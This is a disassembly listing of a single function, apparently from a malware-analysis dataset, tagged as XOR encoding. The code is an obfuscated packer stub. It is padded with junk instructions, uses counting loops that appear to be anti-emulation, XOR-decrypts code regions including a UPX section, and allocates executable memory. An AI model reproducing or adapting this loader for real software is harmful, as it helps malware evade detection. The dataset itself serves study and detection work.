Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x84ff2977
not eax
add esi, esi
mov esi, eax
popal
sub esi, 0x6f914ae4
add esi, eax
and esi, eax
mov ebx, 0
mov ecx, edx
sub esi, eax
and eax, eax
sub esi, 0x9e21dd6d
mov edi, ecx
sub esi, 1
add esi, eax
add eax, eax
mov edx, edi
mov eax, esi
sub esi, eax
inc ebx
not esi
add esi, eax
mov esi, eax
cmp ebx, 0x1002d87
jne 0x47afd4
sub eax, esi
add eax, 0xa4f05947
mov eax, 0x49460258
cmp ebx, 0x1002d87
je 0x47b021
mov ebx, 0
mov byte [ebx], dl
add esi, 0xe689ce36
and eax, eax
inc eax
mov eax, esi
add esi, eax
mov eax, 0x47ada2
and edi, edx
add edx, 0xce70693d
sub ecx, edx
mov esi, 0x47af96
not edx
mov ecx, 0x863b80c2
mov edx, 0x3a73b099
mov ebx, dword [eax]
mov edi, ecx
dec edi
add ecx, 0xd914c0cc
and ebx, 0xff
dec ecx
add edx, 0x37799a5c
mov edx, 0x199b3f4b
xor dword [esi], ebx
sub edi, edx
dec edx
dec edi
add esi, 1
or edx, edi
mov edi, edx
inc eax
sub ecx, 0x747bc7c3
sub edx, 0xa210573f
inc edx
cmp esi, entry0
jl 0x47b04e
sub edi, 0xb4ca5944
inc ecx
sub ecx, 0xf4e7896
sub edx, 0xc5bec0e8
not edx
and esi, edi
inc ebx
not ebx
mov ecx, 0x47af9a
mov edi, edx
mov esi, edi
mov ecx, dword [ecx]
not esi
and esi, esi
mov ecx, dword [ecx]
mov edx, 0xb60bc123
sub ebx, 0x86576d12
push ecx
and edx, edi
or esi, edi
mov ecx, 0x47af96
and edx, ebx
add ebx, 0xe9e4aa17
sub esi, 0xdd6dca81
mov ecx, dword [ecx]
sub esi, edi
sub esi, 0x5d0220a5
sub edi, 0xb5077bbc
mov ecx, dword [ecx]
sub ebx, edx
mov edx, ebx
not ebx
push 0x47af9e
or edx, edi
or edx, edi
add esi, 0x4380ad72
call ecx
mov edx, 0xaf9d58a8
inc ebx
sub ebx, edx
pop ecx
sub esi, ebx
mov edi, esi
inc esi
sub esp, 4
mov dword [esp], 0x47afab
and ebx, edi
sub esi, 1
sub esi, edi
push eax
sub esi, edx
dec edi
call ecx
not ebx
sub ebx, 0x538eb105
or edi, esi
push 0x40
sub ebx, 0x31a31b38
sub ebx, edi
push 0x3000
sub esi, edx
mov esi, 0xf52f5b18
dec esi
push 0x20000dd3
inc ebx
and edx, edi
add ebx, edx
push 0
and esi, edi
mov edi, 0x4b69fd7e
sub ebx, 0x93417cd8
call eax
not edx
add edx, 0xf34afc3d
sub edx, 1
add eax, 0x20000d4f
inc esi
mov edx, 0x9cc02c19
mov edx, edi
mov ecx, 0x6ed2ed15
inc ebx
mov ebx, esi
inc edx
mov dword [eax], ecx
not esi
add edx, edi
add ebx, 0x78cb7b21
mov ecx, dword [eax]
mov esi, edi
mov edi, 0x47b802a0
add esi, 1
cmp ecx, 0x6ed2ed15
je 0x47b1c5
mov ebx, 0
mov dword [ebx], eax
and edi, ebx
mov esi, 0x61eddef4
mov esi, 0xabd6cf3b
add ebx, ebx
mov esi, ebx
not esi
add esi, 1
sub eax, 1
mov ecx, section.UPX1
mov esi, 0xc34691a9
add esi, esi
not eax
mov edx, 0x47ada1
sub eax, esi
not eax
mov edi, 0
sub eax, esi
not eax
inc eax
mov ebx, 0x47ada2
or eax, eax
add esi, 0xc6de6571
lea ebx, [edi + ebx]
not eax
dec eax
mov ebx, dword [ebx]
add eax, 1
not esi
and ebx, 0xff
or eax, esi
mov esi, 0xa9911fe6
inc edi
sub esi, 0x315501c9
and esi, esi
cmp edi, 0x1f4
jne 0x47b244
mov edi, 0
not esi
inc esi
sub esi, 0xe413068
add eax, 0xf7aef27f
dec eax
xor dword [ecx], ebx
mov eax, 0x1857ee32
mov eax, 0xd45681a7
add ecx, 2
sub esi, 1
add eax, 0xac0f2218
cmp ecx, edx
jl 0x47b204
inc eax
mov eax, 0x69d69a51
add eax, eax
add esi, 0x1aa49644
mov eax, 0x3c231f48
add esi, esi
mov ebx, section.UPX1
sub esi, 0x3a13ad64
add edx, 0xb4e9ef0f
not esi
mov eax, section.UPX1
inc esi
add esi, edx
mov edi, 0x47ada1
dec esi
mov edx, esi
add esi, edx
mov ecx, 0
add edx, edx
add edx, 0x7e53250f
mov esi, 0x46e59a82
mov cl, byte [eax]
inc esi
inc esi
or esi, edx
mov byte [ebx], cl
dec edx
mov edx, esi
add ebx, 1
inc edx
or edx, edx
sub edx, esi
add eax, 2
add esi, 0xd64be3bc
sub esi, edx
cmp eax, edi
jle 0x47b2c6
not esi
add edx, 1
mov esi, edx
and esi, esi
and esi, eax
sub esp, 4
mov dword [esp], 0x45e6a0
mov esi, eax
sub eax, 0x998484a2
sub esi, 0x315eb44f
ret